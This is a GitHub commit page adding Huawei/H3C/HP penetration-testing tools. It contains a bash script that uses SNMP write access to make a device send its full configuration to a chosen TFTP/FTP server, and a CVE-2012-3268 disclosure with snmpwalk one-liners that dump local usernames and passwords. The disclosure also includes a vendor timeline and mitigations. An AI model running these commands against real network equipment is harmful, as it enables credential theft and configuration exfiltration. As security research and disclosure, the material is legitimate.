Skip to content

Commit 975537c

Browse files
rootphantomerrootphantomer
committed
H3C
H3C
1 parent 8e5807b commit 975537c

8 files changed

+1236
-0
lines changed

‎h3c-pt-tools/README.txt

+9
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,9 @@
1+
h3c-pt-tools
2+
============
3+
4+
Huawei/H3C/HP Penetration Testing Tools
5+
---------------------------------------
6+
7+
A small collection of scripts to assist penetration testing/auditing networks
8+
which have Huawei and/or HP/H3C devices.
9+

‎h3c-pt-tools/hh3c-snmpdl.sh

+103
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,103 @@
1+
#!/bin/bash
2+
3+
# Download Huawei/H3C configurations via SNMP to TFTP or FTP
4+
#
5+
# Use the "-o" option to force old H3C/Huawei SNMP OID
6+
#
7+
# If "-u value" is specified it is assumed the download method
8+
# is FTP
9+
#
10+
# Author: Kurt Grutzmacher <grutz at jingojango.net>
11+
# License: BSD
12+
13+
function usage()
14+
{
15+
cat << EOF
16+
17+
Huawei/H3C SNMP downloader
18+
--------------------------
19+
20+
Usage:
21+
22+
$0 -i device-ip -s server-ip [-u ftp-user -p ftp-pass] [-o] [-c community]
23+
24+
-i option Device IP Address (required)
25+
-s option Server IP Address (required)
26+
-u option FTP Username (if using FTP)
27+
-p option FTP Password (if using FTP)
28+
-o Use old 2011.20 SNMP OID
29+
-c option SNMP Community (default: private)
30+
31+
EOF
32+
}
33+
34+
snmpset="`which snmpset` -r 0 -t 1 -v 1"
35+
variant="25506"
36+
comm="private"
37+
38+
while getopts "i:s:u:p:oc:" opt; do
39+
case $opt in
40+
i)
41+
ip=$OPTARG
42+
;;
43+
s)
44+
destip=$OPTARG
45+
;;
46+
u)
47+
user=$OPTARG
48+
;;
49+
p)
50+
pw=$OPTARG
51+
;;
52+
o)
53+
variant="2011.10"
54+
;;
55+
c)
56+
comm=$OPTARG
57+
;;
58+
h)
59+
usage
60+
exit 1
61+
;;
62+
esac
63+
done
64+
65+
if [ -z $ip ] ; then
66+
echo "[!] Must provide a Device IP address"
67+
usage
68+
exit 1
69+
fi
70+
71+
if [ -z $destip ] ; then
72+
echo "[!] Must provide a TFTP/FTP Server IP address"
73+
usage
74+
exit 1
75+
fi
76+
77+
echo Collecting configuration from $ip
78+
79+
# purge any existing configuration
80+
$snmpset -c $comm $ip 1.3.6.1.4.1.$variant.2.4.1.2.4.1.9.1 i 6
81+
sleep 1
82+
83+
if [ -n $user ] ; then
84+
$snmpset -c $comm $ip 1.3.6.1.4.1.$variant.2.4.1.2.4.1.2.1 i 3 \
85+
1.3.6.1.4.1.$variant.2.4.1.2.4.1.3.2 i 1 \
86+
1.3.6.1.4.1.$variant.2.4.1.2.4.1.4.2 s $ip-confg \
87+
1.3.6.1.4.1.$variant.2.4.1.2.4.1.5.2 a $destip \
88+
1.3.6.1.4.1.$variant.2.4.1.2.4.1.6.2 s $user \
89+
1.3.6.1.4.1.$variant.2.4.1.2.4.1.7.2 s $pw \
90+
1.3.6.1.4.1.$variant.2.4.1.2.4.1.9.2 i 4
91+
else
92+
$snmpset -c $comm $ip 1.3.6.1.4.1.$variant.2.4.1.2.4.1.2.1 i 3 \
93+
1.3.6.1.4.1.$variant.2.4.1.2.4.1.3.2 i 2 \
94+
1.3.6.1.4.1.$variant.2.4.1.2.4.1.4.2 s $ip-confg \
95+
1.3.6.1.4.1.$variant.2.4.1.2.4.1.5.2 a $destip \
96+
1.3.6.1.4.1.$variant.2.4.1.2.4.1.9.2 i 4
97+
98+
fi
99+
100+
# purge this record
101+
sleep 10
102+
$snmpset -c $comm $ip 1.3.6.1.4.1.$variant.2.4.1.2.4.1.9.1 i 6
103+

‎h3c-pt-tools/hh3c-usermib-disclosure.txt

+172
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,172 @@
1+
HP/H3C and Huawei SNMP Weak Access to Critical Data
2+
===================================================
3+
4+
http://grutztopia.jingojango.net/2012/10/hph3c-and-huawei-snmp-weak-access-to.html
5+
6+
Overview
7+
--------
8+
9+
HP/H3C and Huawei networking equipment suffers from a serious weakness in
10+
regards to their handling of Systems Network Management Protocol (SNMP)
11+
requests for protected h3c-user.mib and hh3c-user.mib objects.
12+
13+
14+
Identifiers
15+
-----------
16+
17+
US-CERT VU#225404
18+
CVE-2012-3268
19+
20+
21+
Vendor release
22+
--------------
23+
24+
HP/H3C: https://h20565.www2.hp.com/portal/site/hpsc/public/kb/docDisplay/?docId=emr_na-c03515685&ac.admitted=1350939600802.876444892.492883150
25+
26+
Huawei: In the works
27+
28+
29+
Researcher
30+
----------
31+
32+
Kurt Grutzmacher
33+
grutz <at> jingojango dot net
34+
http://grutztopia.jingojango.net/
35+
twitter: @grutz
36+
37+
38+
Details
39+
-------
40+
41+
Huawei/H3C have two OIDs, 'old' and 'new':
42+
43+
old: 1.3.6.1.4.1.2011.10
44+
new: 1.3.6.1.4.1.25506
45+
46+
Most devices support both formats.
47+
48+
The MIBs h3c-user.mib and hh3c-user.mib, for the purpose of this document,
49+
will be referred to as (h)h3c-user.mib. This MIB defines the internal
50+
table and objects to "Manage configuration and Monitor running state for
51+
userlog feature."
52+
53+
This means there are some cool objects with data in this MIB penetration
54+
testers or malicious actors would want to get their dirty little hands on.
55+
Most objects are only accessible with the read/write community string.
56+
57+
In the revision history of (h)h3c-user.mib, version 2.0 modified the
58+
MAX-ACCESS from read-only to read-create the following objects within
59+
the (h)h3cUserInfoEntry sequence:
60+
61+
(h)h3cUserName
62+
(h)h3cUserPassword
63+
(h)h3cAuthMode
64+
(h)h3cUserLevel
65+
66+
The purpose of these objects are to provide the locally configured users
67+
to those with a valid SNMP community. After the change only those with
68+
the read-write community string should have access, however this was not
69+
the case and the code still retained the earlier access of read-only.
70+
71+
So if you have the SNMP public community string then you have the ability
72+
to view these entries.
73+
74+
75+
Why this is impactful
76+
---------------------
77+
78+
The (h)h3cUserPassword is presented in one of three formats as defined in
79+
the (h)h3cAuthMode object and mirrors how passwords are stored in the
80+
device configuration:
81+
82+
0 -- password simple, meaning cleartext
83+
7 -- password cipher, meaning ciphertext
84+
9 -- password sha-256, meaning one-way sha-256 hash
85+
86+
SHA-256 is a recent addition and is not supported on all devices yet.
87+
88+
On top of this the (h)h3cUserLevel can be 0 to 3 where 0 is limited
89+
access and 3 is full access.
90+
91+
92+
Globbing some users
93+
-------------------
94+
95+
You must have an SNMP read-only or read-write string and access to the
96+
SNMP port (udp/161) for this to work:
97+
98+
$ snmpwalk –c public –v 1 $IP 1.3.6.1.4.1.2011.10.2.12.1.1.1
99+
100+
or
101+
102+
$ snmpwalk –c public –v 1 $IP 1.3.6.1.4.1.25506.2.12.1.1.1
103+
104+
105+
Weaponizing
106+
-----------
107+
108+
Files relevant to this disclosure:
109+
110+
hh3c-localuser-enum.rb - Metasploit auxiliary scanner module
111+
snmp-h3c-login.nse - Nmap Scripting Engine module
112+
113+
These will soon be posted to https://github.com/grutz/h3c-pt-tools and
114+
requested to be added to each tool.
115+
116+
117+
Mitigation
118+
----------
119+
120+
By itself this is already bad but most users who do any of the following
121+
may already be protected:
122+
123+
1. Use complex SNMP community strings or disable SNMPv1
124+
2. Have disabled the mib entries for (h)h3c-user
125+
3. Block SNMP using access controls or firewalls
126+
4. Do not define local users, use RADIUS or TACACS+
127+
128+
More specific routines can be found in the vendor's release.
129+
130+
131+
Why this is a bigger problem
132+
----------------------------
133+
134+
People make poor choices. They like to think their equipment won't rat
135+
them out so they use cleartext passwords on networking equipment.
136+
137+
The cipher is an interesting one because it's basically an unknown...
138+
What, you think the only thing I had to share at Toorcon was SNMP and
139+
some cleartext credentials?
140+
141+
142+
Timeline
143+
--------
144+
145+
June-ish 2012: Research begins after seeing something cool on a
146+
penetration test
147+
148+
August 6, 2012: Contacted US-CERT to coordinate vendor disclosure,
149+
VU#225404
150+
151+
September 5, 2012: No response from H3C, contacted US-CERT again
152+
153+
September 6, 2012: H3C (through US-CERT) requests more time, I state
154+
intention to present findings at Toorcon (Oct 19/20, 2012) or disclose
155+
if talk not accepted.
156+
157+
September 18, 2012: Approved for Toorcon! Information goes up not long
158+
after on Toorcon website.
159+
160+
September 18-October 16, 2012: Build slides, work on tools, no contact
161+
with US-CERT or vendors.
162+
163+
October 16, 2012: HP contacts me directly asking that I not present this
164+
information at Toorcon
165+
166+
October 18, 2012: Publicly state agreement to cancel the Toorcon talk
167+
168+
October 22, 2012: HP discloses! What what? Why bother putting any pressure
169+
not to give the talk if you're gonna give everything out 2 days later?
170+
171+
October 23, 2012: So I publish.
172+

0 commit comments

Comments
 (0)